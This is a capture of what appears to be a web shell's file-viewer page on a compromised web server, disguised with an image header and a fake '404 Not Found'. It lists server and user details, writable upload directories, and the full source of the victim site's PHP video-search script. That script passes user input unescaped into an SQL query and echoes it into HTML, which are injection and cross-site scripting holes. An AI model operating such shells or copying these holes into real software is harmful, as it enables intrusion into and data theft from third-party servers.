����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/search.php
<?php
class search{
    public function __construct(){
        global $CORE;
        $code = '';
        if(isset($CORE->input['code'])){
            $code = $CORE->input['code'];
        }
        switch ($code)
        {
            default	: $this->goList(); break;
            case 'search2' : $this->goList2(); break;
        }
    }
    function curl_func2($url) {
        $ch = curl_init();
        $head[] = "Connection: keep-alive";
        $head[] = "Keep-Alive: 300";
        $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
        $head[] = "Accept-Language: en-us,en;q=0.5";
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36');
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        //curl_setopt($ch, CURLOPT_REFERER, 'http://www.phimmoi.net');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
        //curl_setopt($ch, CURLOPT_FAILONERROR, true);
        //curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
        $page = curl_exec($ch);
        /*if (curl_errno($ch)) {
            $error_msg = curl_error($ch);
        }*/
        curl_close($ch);
        /*if (isset($error_msg)) {
            return $error_msg;
        }*/
        return $page;
    }
    function goList2(){
        global $DB,$CORE,$smarty,$func,$print,$INFO,$memcache;
        $keyword = trim($_GET['q']);
        $vq = str_replace(array(' ','%20','<','>'),array('+','+','',''),$keyword);
        $content2 = $this->curl_func2('https://img.123vid.top/search2.php?kw=' . $vq.'&country='.$_SESSION['country']);
        echo $content2;
        exit();
    }
    function goList(){
        global $DB,$CORE,$smarty,$func,$print,$INFO,$memcache;
        $keyword = trim($_GET['q']);
        $arr_delete = array('FruthosGamer e Diversos');
        if(in_array($keyword,$arr_delete)){
            $print->refresh($INFO['home_url'].'404/index.html');
        }
        $smarty->assign('keyword',$CORE->input['q']);
        $smarty->assign('title',$CORE->input['q']);
        $smarty->assign('title2',$CORE->input['q']);
        $keyword2 = $func->bodau_normal($CORE->input['q']);
        $keyword3  = str_ireplace('d','đ',$CORE->input['q']);
        $keyword4  = str_ireplace('D','Đ',$CORE->input['q']);
         //search video youtube
        $vq = str_replace(array(' ','%20','<','>','~','!','@','#','$','%'),array('+','+','','','','','','','',''),$keyword);
        $vq2 = trim($CORE->input['q']);
        //$vq = preg_replace('[[:space:]]+', ' ', trim($vq));
        //$vq = urlencode($vq);
        $pageNum3 = '';
        if(isset($CORE->input['pageNum3'])){
            $pageNum3 = $CORE->input['pageNum3'];
        }
        $list2 = array();
        $content2 = $this->curl_func2('https://api1.vidoe.top/search2.php?kw=' . $vq.'&country='.$_SESSION['country']);
        //echo $content2;
        $detail = json_decode($content2, true);

        foreach ($detail['videos'] as $video) {
            $relate['title'] = $func->title_text($video['title']);
            $relate['ftitle'] = $func->format_string($video['title']);
            $relate['id_you'] = $video['id'];
            $relate['img'] = str_replace('http://','https://',$video['img']);
            $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'], 'ngocgiac'));
            $relate['duration'] = $video['duration'];
            $list2[] = $relate;
        }
        $nav3 = '<li id="show_more_search" class="page-item active"><a class="page-link" href="javascript:void(0);" onclick="show_more_search(\''.$detail['next_token'].'\',\''.$detail['ref'].'\');">Show more</a></li>';
        $smarty->assign('detail',$detail);
        $smarty->assign('list2s',$list2);
        $smarty->assign('nav3',$nav3);

        
        /*$d_lists3 = array();
        $pageNum3 = (isset($_GET['pageNum3'])) ? intval($_GET['pageNum3']) : 1;
        $content3 = $func->get_content_page('https://img.123vid.top/search18.php?kw=' . $vq.'&p='.$pageNum3,'');
        $result3 = json_decode($content3,true);
        $x_total = intval($result3['total']);
        $totalPage3 = ceil($x_total / 20);
        foreach ($result3['videos'] as $val) {
            $d_video['id_encode'] = $val['id'];
            $d_video['title'] = $func->title_text($val['title']);
            $d_video['ftitle'] = $func->format_string($d_video['title']);
            $d_video['duration'] = $val['duration'];
            $d_video['img'] = str_replace('http://','https://',$val['img']);
            $d_video['user_name'] = $val['user_name'];
            $d_video['fuser_post'] = $val['fuser_post'];
            $d_video['user_id'] = $val['user_id'];
            $d_lists3[] = $d_video;
        }
        $smarty->assign('x_videos', $d_lists3);
        $nav5 = $this->Pagination3($totalPage3, $pageNum3, 'video-find-5', '?act=search&q=' . $vq);
        $smarty->assign('nav5', $nav5);*/

        //adv search
        $where = " WHERE (title_vi LIKE '%".$vq2."%' OR title_en LIKE '%".$vq2."%' OR title_other LIKE '%".$vq2."%') AND status=1 ";
        $q_news = $DB->query("SELECT * FROM gtdesign_phim " . $where . " ORDER BY time DESC LIMIT 35");
        $list_pl = array();
        if($q_news) {
            while ($r2 = $DB->fetch_row($q_news)) {
                //$r2['img'] =  'https://api1.123vid.top/image.php?file='.base64_encode($r2['img']).'&w=222&h=312';
                if ($_SESSION['lang'] != 'vi') {
                    $r2['title_vi'] = $r2['title_en'];
                    $r2['title_en'] = $r2['title_other'];
                    $r2['plot'] = $r2['plot_en'];
                }
                $r2['ftitle'] = $func->format_string($r2['title_vi']);
                $r2['chatluong'] = $r2['chatluong'] . '-' . $INFO['ngonngu'][$r2['ngonngu']][$_SESSION['lang']];
                $r2['sotap_daup'] = substr_count($r2['linkphim'], '@') + 1;

                $arr_theloai = explode('@', $r2['theloai']);
                if (!empty($arr_theloai)) {
                    $arr_theloai2 = array();
                    foreach ($arr_theloai as $val) {
                        $arr_theloai2[] = '<a href="genre/' . $val . '/" title="' . $INFO['theloai'][$val][$_SESSION['lang']] . '">' . $INFO['theloai'][$val][$_SESSION['lang']] . '</a>';
                    }
                }
                $r2['txt_theloai'] = implode(', ', $arr_theloai2);
                $arr_daodien = explode(',', $r2['daodien']);
                if (!empty($arr_daodien)) {
                    $arr_daodien2 = array();
                    foreach ($arr_daodien as $val) {
                        $arr_daodien2[] = '<a href="director/' . trim($val) . '/">' . trim($val) . '</a>';
                    }
                    $r2['txt_daodien'] = implode(', ', $arr_daodien2);
                } else {
                    $r2['txt_daodien'] = '';
                }

                $arr_dienvien = explode(',', $r2['dienvien']);
                if (!empty($arr_dienvien)) {
                    $arr_dienvien2 = array();
                    foreach ($arr_dienvien as $val) {
                        $arr_dienvien2[] = '<a href="star/' . trim($val) . '/">' . trim($val) . '</a>';
                    }
                    $r2['txt_dienvien'] = implode(', ', $arr_dienvien2);
                } else {
                    $r2['txt_dienvien'] = '';
                }

                $list_pl[] = $r2;
            }
        }
        $smarty->assign('list_news',$list_pl);


        $bread = '<li itemprop="itemListElement" itemscope="" itemtype="https://schema.org/ListItem"><a itemprop="item" title="'.$keyword.'" href="?act=search&q='.$keyword.'"><span itemprop="name">'.$keyword.'</span></a></li>';
        $smarty->assign('bread',$bread);

        $smarty->assign('title',$CORE->input['q']);
        $smarty->assign('description',$CORE->input['q']);
        $smarty->assign('keywords',$CORE->input['q']);
        $smarty->assign('image',$INFO['home_url'].'skin/'.$INFO['skin_folder'].'/img/vidoe-logo.png');
    }

    function Pagination3($totalPage,$pageNum,$pos,$baseLink)
    {
        $nav = '';
        if($pos==''){
            $vitri='';
        }else{
            $vitri='#'.$pos;
        }
        if($pageNum < 1){
            $pageNum = 1;

        }elseif($pageNum > $totalPage)
        {
            $pageNum = $totalPage;
        }
        if($pageNum == 1){
            $nav .= "";
        }else{
            $nav .= "<li><a href='{$baseLink}&pageNum3=1{$vitri}' class=\"pagelink\">First</a></li>  ";
            $prev = $pageNum - 1;
            $nav .= " <li><a href='{$baseLink}&pageNum3={$prev}{$vitri}' class=\"pagelink\">«</a></li>  ";
        }
        if($totalPage<=5){
            for($i=1;$i<=$totalPage;$i++){
                if($i==$pageNum){
                    $nav .= " <li class=\"active\"><a class=\"pagecurrent\">{$i}</a></li>  ";
                }else{
                    $nav .= " <li><a href='{$baseLink}&pageNum3={$i}{$vitri}' class=\"pagelink\">{$i}</a></li>  ";
                }
            }
        }else{
            $check = $totalPage-2;
            if($pageNum<4){
                for($i = 1;$i<=$pageNum+2;$i++){
                    if($i==$pageNum){
                        $nav .= "<li class=\"active\"><a class=\"pagecurrent\">{$i}</a></li>  ";
                    }else{
                        $nav .= " <li><a href='{$baseLink}&pageNum3={$i}{$vitri}' class=\"pagelink\">{$i}</a></li>  ";
                    }
                }
            }
            //$nav .= " ... ";
            if($pageNum>=4 && $pageNum<$check){
                for($i = $pageNum-2;$i<$pageNum+4;$i++){
                    if($i==$pageNum){
                        $nav .= " <li class=\"active\"><a class=\"pagecurrent\">{$i}</a></li>  ";
                    }else{
                        $nav .= " <li><a href='{$baseLink}&pageNum3={$i}{$vitri}' class=\"pagelink\">{$i}</a></li> ";
                    }
                }
                //$nav .= " ... ";
            }elseif($check<=$pageNum && $pageNum<=$totalPage){
                //$nav .= " ... ";
                for($i = $pageNum-4;$i<=$totalPage;$i++){
                    if($i==$pageNum){
                        $nav .= " <li class=\"active\"><a class=\"pagecurrent\">{$i}</a></li>  ";
                    }else{
                        $nav .= " <li><a href='{$baseLink}&pageNum3={$i}{$vitri}' class=\"pagelink\">{$i}</a></li> ";
                    }
                }
            }
        }
        if ($pageNum == $totalPage)
        {
            $nav .= "";
        }else{
            $next = $pageNum + 1;
            $nav .= " <li><a href='{$baseLink}&pageNum3={$next}{$vitri}' class=\"pagelink\">»</a></li> ";
            $nav .= " <li><a href='{$baseLink}&pageNum3={$totalPage}{$vitri}' class=\"pagelast\">Last</a></li> ";
        }
        return $nav;
    }
}//end class
// Run class
$run	=	new search();
?>

ZeroDay Forums Mini